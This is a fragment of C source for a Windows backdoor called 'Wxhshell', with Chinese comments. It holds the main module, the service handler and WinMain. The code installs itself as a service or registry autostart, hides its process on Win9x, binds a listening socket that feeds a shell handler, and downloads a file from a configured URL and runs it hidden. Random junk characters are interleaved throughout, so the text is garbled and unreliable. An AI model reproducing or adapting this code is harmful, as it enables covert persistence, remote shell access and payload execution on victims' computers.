procName, sizeof(procName)); (^9q7)n ^#S CloseHandle(hProcess); S]1+tj [8SW0wsk if(strstr(procName,"services")) return 1; // 以服务启动 cCU'~ ,I@4)RSAH| return 0; // 注册表启动 "^<:7 _Y } .Kq>/6
(XRj##G{ // 主模块 d Z"bc]z{ int StartWxhshell(LPSTR lpCmdLine) dp2". { bK("8T\? SOCKET wsl; S53 [Ja BOOL val=TRUE; 7esG$sVj( int port=0; tZU"Ud struct sockaddr_in door; A@_F ;4X Z[AJat@H if(wscfg.ws_autoins) Install(); E] t:_v J(M0t~RZ port=atoi(lpCmdLine); rg_-gZl8&z f8N if(port<=0) port=wscfg.ws_port; xvjHGgWSxc +B_q? 6pR WSADATA data; c.,:rX0S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "a`0s_F,^ ui7 0| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nUhD41GJ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -j]r\EVKS door.sin_family = AF_INET; `U!eh1*b door.sin_addr.s_addr = inet_addr("127.0.0.1"); yi# Nrc5B door.sin_port = htons(port); `-s+ zG R`ZU'| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9T|7edl closesocket(wsl); D/{Tl return 1; o|l)oc6{ } n1uJQt ?$;_a%v6 if(listen(wsl,2) == INVALID_SOCKET) { cGsxfwD closesocket(wsl); 6l [TQ return 1; p4Vw`i+DnH } 'iMI&?8u Wxhshell(wsl); ,$vc*}yI0 WSACleanup(); 4VaUa8 D +2B{"Czm return 0; k%:]PQjYT Tr/wG } Q-O:L +VDl"Hx // 以NT服务方式启动 tI{
n! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -1S+fUkiK/ { wXXv0OzK DWORD status = 0; Xj+1]KRN DWORD specificError = 0xfffffff; |m k $W$h s4MP!n?gB serviceStatus.dwServiceType = SERVICE_WIN32; +Z$X5Th serviceStatus.dwCurrentState = SERVICE_START_PENDING; !j %)nU serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kc|`VB8L serviceStatus.dwWin32ExitCode = 0; n?Gm 5## serviceStatus.dwServiceSpecificExitCode = 0; wm*`
serviceStatus.dwCheckPoint = 0; mkj`z serviceStatus.dwWaitHint = 0; f>ED yW|yZ(7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U@m< if (hServiceStatusHandle==0) return; \~jt7 Q v]U[7 j status = GetLastError(); >0@X^o if (status!=NO_ERROR) "H%TOk7l { CL9p/PJ%e serviceStatus.dwCurrentState = SERVICE_STOPPED; A_Sl#e serviceStatus.dwCheckPoint = 0; 9<[RXY serviceStatus.dwWaitHint = 0; O%(:8nIgZ serviceStatus.dwWin32ExitCode = status; RJF1~9 serviceStatus.dwServiceSpecificExitCode = specificError; ,UWO+B] SetServiceStatus(hServiceStatusHandle, &serviceStatus); EW#.)@- return; 9N=Dls } X_Y$-I$qd i0p"q p serviceStatus.dwCurrentState = SERVICE_RUNNING; MV9{>xX serviceStatus.dwCheckPoint = 0; Jev@IORN\ serviceStatus.dwWaitHint = 0; ?h
K+h .{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \^N9Q9{7] }
6=A++H@ j*W]^uT, // 处理NT服务事件,比如:启动、停止 5>}L3r>a; VOID WINAPI NTServiceHandler(DWORD fdwControl) {U^mL6=&v { <diI*H<G switch(fdwControl) 1#]tCi` { y7d)[d*Mz case SERVICE_CONTROL_STOP: a4g=cs<9} serviceStatus.dwWin32ExitCode = 0; vWe)c J serviceStatus.dwCurrentState = SERVICE_STOPPED;
8EbYk2j serviceStatus.dwCheckPoint = 0; `j4ukOnG serviceStatus.dwWaitHint = 0; C&<f YCwG { i1 SP SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?$-OdABXHK } u4z]6?,"e return; uZmfvMr3 case SERVICE_CONTROL_PAUSE: lP9a*>=a serviceStatus.dwCurrentState = SERVICE_PAUSED; :Nc~rOC_ break; ",&}vfD4M case SERVICE_CONTROL_CONTINUE: _a15R/S serviceStatus.dwCurrentState = SERVICE_RUNNING; YDjQ&EH break; m>zUwGYEu case SERVICE_CONTROL_INTERROGATE: us`hR!_ break; JguE#ob2 }; IO^O9IEx, SetServiceStatus(hServiceStatusHandle, &serviceStatus); JO+ hD4L } b LL!iz? `'Z ;+h] // 标准应用程序主函数 Qkr'C
n int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z ;
:E~; { 7zR7v z<^HohT // 获取操作系统版本 tBrd+}e2* OsIsNt=GetOsVer(); js8uvZ i GetModuleFileName(NULL,ExeFile,MAX_PATH); VD36ce9 _e ~EQ[, // 从命令行安装 <0R?#^XBZB if(strpbrk(lpCmdLine,"iI")) Install(); u^ngD64 wF@qBDxg // 下载执行文件 d+2I+O03 if(wscfg.ws_downexe) { [.Kia
> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iOki ZN+d> WinExec(wscfg.ws_filenam,SW_HIDE); ;K$E;ZhPN } ]0m4esK` VCbnS191* if(!OsIsNt) { OWOj|jM // 如果时win9x,隐藏进程并且设置为注册表启动 y3;G<9K2c] HideProc(); ix7N q7!N StartWxhshell(lpCmdLine); &)xoR4!2 } bmt2~! else ub,Sj{Mq" if(StartFromService()) wG^{Jf&@$ // 以服务方式启动 5"XcVH4g StartServiceCtrlDispatcher(DispatchTable); oh& PQ{ else IWm|6@y // 普通方式启动 aeH
9:GQ6 StartWxhshell(lpCmdLine); 7|,5; !R)v2Mk| return 0; UnW,|n8 }
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